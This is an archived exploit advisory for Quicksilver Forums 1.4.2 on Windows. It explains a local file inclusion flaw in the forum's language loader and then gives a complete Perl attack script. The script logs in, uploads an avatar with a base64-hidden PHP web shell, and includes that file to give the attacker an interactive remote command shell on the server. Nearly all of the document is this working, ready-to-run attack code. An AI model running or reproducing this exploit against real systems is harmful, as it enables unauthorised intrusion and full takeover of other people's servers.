Quicksilver Forums 1.4.2 (Windows) - Remote Code Execution

# Author:	__GiReX__
# Homepage:	girex.altervista.org

# Date:		24/11/2008

# CMS:		Quicksilver Forums <= 1.4.2
# Site:		http://www.quicksilverforums.com/

# Bug:		Local File Inclusion
# Exploit:	Remote Command Execution

# Note:		Works with windows servers only
		Works regardless php.ini settings

# Bug Discussion:

# file: global.php
# lines: 318-329

	function get_lang($lang, $a = null, $path = './', $main = true)
	{
		if (isset($this->get['lang'])) {
			$lang = $this->get['lang'];
 
		}
 
		if (strstr($lang, '/') || !file_exists($path . 'languages/' . $lang . '.php')) {
			$lang = 'en';
		}
 
		include $path . 'languages/' . $lang . '.php';
 
# As you can see, Quicksilver filter can be easily bypassed in windows servers
# couse use of backslashes "\" in filesystem's paths.

# Thanks to the functions uset_magic_quotes_gpc() this vuln works regardless php.ini setting

# We can upload a malicious avatar and include it to have a RCE


#!/usr/bin/perl 
# Quicksilver Forums <= 1.4.2 RCE Exploit (win only)
# Local File Inclusion / Malicious Avatar Upload
# Coded by __GiReX__

use IO::Socket::INET;
use MIME::Base64;

if(@ARGV < 3)
{
    banner();
    print "[+] You need an user account to run this exploit\n\n";
    print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass>\n";
    print "[+] Example: perl $0 localhost /quick/ test password\n";
    exit;
}

my ($host, $path, $user, $pass) = @ARGV;

$host =~ s/^http:\/\///;
$host =~ s/^www\.//; 
$target = "http://${host}${path}";

banner();	
check_vuln(); 

$cookie = do_login() or debug($debug, 1); 
upload_avatar() or debug($debug, 2);  

while(1)
{
	print "[+] shell\@quick:\$ ";
	chomp(my $cmd = <STDIN>);
	
	exit if $cmd eq 'exit';
	create_socket();
	
	print $sd  "GET ${target}index.php?lang=..\\avatars\\uploaded\\${user_id}.png%00 HTTP/1.1\r\n".
			   "Host: $host\r\n".
			   "Cookie: $cookie\r\n".
			   "CMD: ". encode_base64($cmd)."\r\n".
			   "Connection: keep-alive\r\n\r\n";
	
	$out .= $_ while <$sd>;
	
	if($out =~ /-code-/)
	{
		$_out = substr($out, index($out, '-code-') + 6);  $n = index($_out, '-code');
		$__out = substr($_out, 0, $n);
	}
	else
	{
		debug($out, 3);
	}
	
	close($sd);
	$out = undef;
	
	print STDOUT "\n". $__out."\n";
}

sub check_vuln
{
	create_socket();
	
	print $sd   "GET ${target}index.php?lang=..\\languages\\en.php%00 HTTP/1.1\r\n".
				"Host: $host\r\n".
				"Connection: keep-alive\r\n\r\n";
				
	while(my $res = <$sd>)
	{
		$ok = 1 if $res =~ /404 Not Found/;
		
		if($res =~ /<b>Fatal error<\/b>/)
		{
			close($sd);
			return 1;
		}
		
		our $debug .= $res;
	}
	
	print STDOUT "\n[-] Server not vulnerable, maybe it's not a win server!\n" and exit
	if not defined $ok;
	
	debug($debug, 0);
}
		

sub do_login
{     
    create_socket();
	my $data = "user=${user}&pass=${pass}&request_uri=%2F${path}%2Findex.php&submit=Invia";
	
	print $sd   "POST ${target}index.php?a=login&s=on HTTP/1.1\r\n" .
				"Host: $host\r\n" .
				"Connection: keep-alive\r\n" .
				"Content-Type: application/x-www-form-urlencoded\r\n" .
				"Content-Length: ". length($data)."\r\n\r\n" .
				$data . "\r\n\r\n";
    
	
	
	while(my $res = <$sd>)
	{
		if($res =~ /Set-Cookie: (\w+)_user=([0-9]+)/)
		{
		    $prefix  = $1  unless $prefix; 
		    $user_id = $2  unless $user_id;
		}
		elsif($res =~ /Set-Cookie: \w+_pass=([a-z0-9]{32})/)
		{
			my $hash_pwd = $1;  close($sd);
			print STDOUT "\n[+] Logged in with $user account\n";
			
			return "${prefix}_user=${user_id}; ${prefix}_pass=${hash_pwd};";
		}
		
		our $debug .= $res;
	}	

	close($sd);	
	return undef;
}

sub upload_avatar
{
	create_socket();
						# Image content + post's var base64 encoded
    my $data =  "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMjY0ODI3NDQ2MjM4MDUNCk".
                 "NvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0idXNlcl9hdmF".
                 "0YXJfd2lkdGgiDQoNCjUwDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t".
                 "LTIyNjQ4Mjc0NDYyMzgwNQ0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kY".
                 "XRhOyBuYW1lPSJ1c2VyX2F2YXRhcl9oZWlnaHQiDQoNCjUwDQotLS0tLS0tLS".
                 "0tLS0tLS0tLS0tLS0tLS0tLS0tLTIyNjQ4Mjc0NDYyMzgwNQ0KQ29udGVudC1E".
                 "aXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ1c2VyX2F2YXRhcl90eXBlI".
                 "g0KDQp1cGxvYWQNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMjI2ND".
                 "gyNzQ0NjIzODA1DQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5".
                 "hbWU9ImF2YXRhcl91cGxvYWQiOyBmaWxlbmFtZT0iYXZhdF9hci5wbmciDQpD".
                 "b250ZW50LVR5cGU6IGltYWdlL3BuZw0KDQo8P3BocA0KaWYoaXNzZXQoJF9TRV".
                 "JWRVJbJ0hUVFBfQ01EJ10pKQp7CmVjaG8gIi1jb2RlLSI7IHBhc3N0aHJ1KGJ".
                 "hc2U2NF9kZWNvZGUoJF9TRVJWRVJbJ0hUVFBfQ01EJ10pKTsgZWNobyAiLWNv".
                 "ZGUiOwp9DQpkaWUoKTsNCj8+DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL".
                 "S0tLTIyNjQ4Mjc0NDYyMzgwNQ0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS".
                 "1kYXRhOyBuYW1lPSJzdWJtaXQiDQoNClN1Ym1pdA0KLS0tLS0tLS0tLS0tLS0t".
                 "LS0tLS0tLS0tLS0tLS0yMjY0ODI3NDQ2MjM4MDUtLQ0K";
				 
	$data = decode_base64($data);

	print $sd  "POST ${target}index.php?a=cp&s=avatar HTTP/1.1\r\n".
			   "Host: $host\r\n" .
			   "Connection: keep-alive\r\n" .
			   "Cookie: $cookie\r\n" .
               "Content-Type: multipart/form-data; boundary=---------------------------226482744623805\r\n" .
               "Content-Length: ". length($data)."\r\n\r\n" .
			   $data . "\r\n\r\n";
		   
	
	while(my $res = <$sd>)
	{
		if($res =~ /Your avatar has been updated/)
		{
			print "[+] Malicious avatar uploaded\n\n";   close($sd);
			return 1;
		}
		
		our $debug 	.= $res;
	}
	
	close($sd);
	return undef;
}

sub create_socket
{
	our $sd = new IO::Socket::INET( 'PeerAddr' => $host,
									'PeerPort' => '80',
									'Proto'    => 'tcp',
								   ) or die $@;
}

sub debug
{
	my $output = shift;
	my $errno = shift;
	
	open(DEBUG, '>', 'debug.txt');
	print DEBUG $debug;
	
	if($errno eq '0')
	{
		print STDOUT "\n[-] Unable to request index.php! See debug.txt for more infos\n";
	}
	if($errno eq '1')
	{
		print STDOUT "\n[-] Unable to login! See debug.txt for more infos.\n";
	}
	elsif($errno eq '2')
	{
		print STDOUT "\n[-] Unable to upload avatar! See debug.txt for more infos.\n";
	}
	elsif($errno eq '3')
	{
		print STDOUT "\n[-] Exploit mistake! See debug.txt for more infos.\n";
	}
	
	close(DEBUG);
	exit;
}

sub banner
{
	print STDOUT "\n[+] Quicksilver Forums <= 1.4.2 RCE Exploit (win only)\n".
				 "[+] Local File Inclusion / Malicious Avatar Upload\n".
				 "[+] Coded by __GiReX__\n\n";
}

# milw0rm.com [2008-11-24]